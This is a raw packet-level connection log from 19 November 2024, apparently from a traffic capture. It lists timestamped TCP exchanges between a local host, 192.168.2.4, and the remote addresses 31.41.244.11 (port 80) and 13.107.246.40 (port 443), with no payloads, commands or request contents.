Nov 19, 2024 22:07:09.515486002 CET	443	49882	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.517582893 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.517762899 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.517832994 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.517847061 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.517884970 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.517904997 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.517921925 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.517940998 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.517937899 CET	49886	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.518022060 CET	443	49886	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.518697977 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.518737078 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.518774986 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.518788099 CET	49886	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.518806934 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.518806934 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.518815041 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.518826962 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.518852949 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.518867016 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.518893003 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.518903971 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.518930912 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.518937111 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.518970013 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.518980026 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.519007921 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.519018888 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.519046068 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.519057989 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.519083977 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.519094944 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.519121885 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.519133091 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.519155025 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.519169092 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.519192934 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.519195080 CET	49886	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.519231081 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.519231081 CET	443	49886	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.519241095 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.519268990 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.519292116 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.519309998 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.519332886 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.519367933 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.519404888 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.519423962 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.519460917 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.519467115 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.519499063 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.519515991 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.519536972 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.519556046 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.519556046 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.519573927 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.519612074 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.519624949 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.519649982 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.519659996 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.519690037 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.519697905 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.519723892 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.519737005 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.519762993 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.519799948 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.519835949 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.519844055 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.519875050 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.519884109 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.519912004 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.519922972 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.519949913 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.519958973 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.519988060 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.519996881 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.520025969 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.520035028 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.520065069 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.520073891 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.520102978 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.520117998 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.520140886 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.520149946 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.520178080 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.520185947 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.520216942 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.520229101 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.520255089 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.520265102 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.520292044 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.520302057 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.520325899 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.520338058 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.520363092 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.520400047 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.520436049 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.520457029 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.520473957 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.520490885 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.520512104 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.520525932 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.520549059 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.520558119 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.520586967 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.520592928 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.520623922 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.520636082 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.520661116 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.520669937 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.520699024 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.520714998 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.520737886 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.520745039 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.520775080 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.520786047 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.520813942 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.520819902 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.520852089 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.520860910 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.520890951 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.520899057 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.520925045 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.520939112 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.520965099 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521001101 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521038055 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521071911 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.521075010 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521091938 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.521115065 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521128893 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.521153927 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521166086 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.521192074 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521207094 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.521229982 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521240950 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.521266937 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521275997 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.521303892 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521317005 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.521342039 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521353006 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.521379948 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521389961 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.521418095 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521429062 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.521456003 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521470070 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.521492958 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521503925 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.521526098 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521549940 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.521559000 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.521562099 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521600962 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521619081 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.521637917 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521656036 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.521676064 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521678925 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.521712065 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521723986 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.521750927 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521763086 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.521786928 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521825075 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521862030 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521873951 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.521898985 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521909952 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.521936893 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521948099 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.521975040 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.521981955 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.522012949 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.522047997 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.522048950 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.522073030 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.522085905 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.522113085 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.522123098 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.522149086 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.522160053 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.522164106 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.522197962 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.522206068 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.522236109 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.522253990 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.522273064 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.522283077 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.522310972 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.522319078 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.522344112 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.522357941 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.522381067 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.522417068 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.522454023 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.522468090 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.522491932 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.522505999 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.522528887 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.522540092 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.522567034 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.522577047 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.522604942 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.522612095 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.522643089 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.522651911 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.522680998 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.522687912 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.522717953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.522727966 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.522757053 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.522768974 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.522795916 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.522804976 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.522834063 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.522840023 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.522874117 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.522881031 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.522911072 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.522921085 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.522943974 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.522962093 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.522980928 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523016930 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523053885 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523066044 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.523091078 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523102045 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.523130894 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523138046 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.523168087 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523176908 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.523205996 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523222923 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.523243904 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523253918 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.523282051 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523288012 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.523328066 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.523336887 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523374081 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523389101 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.523411989 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523421049 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.523449898 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523461103 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.523487091 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523497105 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.523525000 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523531914 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.523556948 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523571968 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.523593903 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523629904 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523667097 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523677111 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.523703098 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523716927 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.523741007 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523751974 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.523773909 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523787022 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.523809910 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523845911 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523885012 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523893118 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.523922920 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523933887 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.523962021 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.523972988 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.523999929 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.524010897 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.524038076 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.524043083 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.524075985 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.524091005 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.524112940 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.524123907 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.524152040 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.524159908 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.524189949 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.524208069 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.524228096 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.524238110 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.524265051 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.524277925 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.524303913 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.524311066 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.524341106 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.524348974 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.524374008 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.524388075 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.524414062 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.524451017 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.524490118 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.524508953 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.524528027 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.524545908 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.524565935 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.524581909 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.524610043 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.524616003 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.524648905 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.524658918 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.524688959 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.524698973 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.524736881 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.539128065 CET	443	49879	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.539283037 CET	443	49879	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.539362907 CET	49879	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.539546013 CET	49879	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.539558887 CET	443	49879	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.539568901 CET	49879	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.539575100 CET	443	49879	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.542013884 CET	49887	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.542047024 CET	443	49887	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.542156935 CET	49887	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.542341948 CET	49887	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.542370081 CET	443	49887	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.639262915 CET	443	49883	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.639472961 CET	443	49883	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.641083002 CET	49883	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.641127110 CET	49883	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.641134024 CET	443	49883	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.641150951 CET	49883	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.641155958 CET	443	49883	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.644407034 CET	49888	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.644433975 CET	443	49888	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.644510031 CET	49888	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.644680977 CET	49888	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.644697905 CET	443	49888	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.766669035 CET	443	49884	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.767132044 CET	49884	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.767193079 CET	443	49884	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.767976999 CET	49884	443	192.168.2.4	13.107.246.40
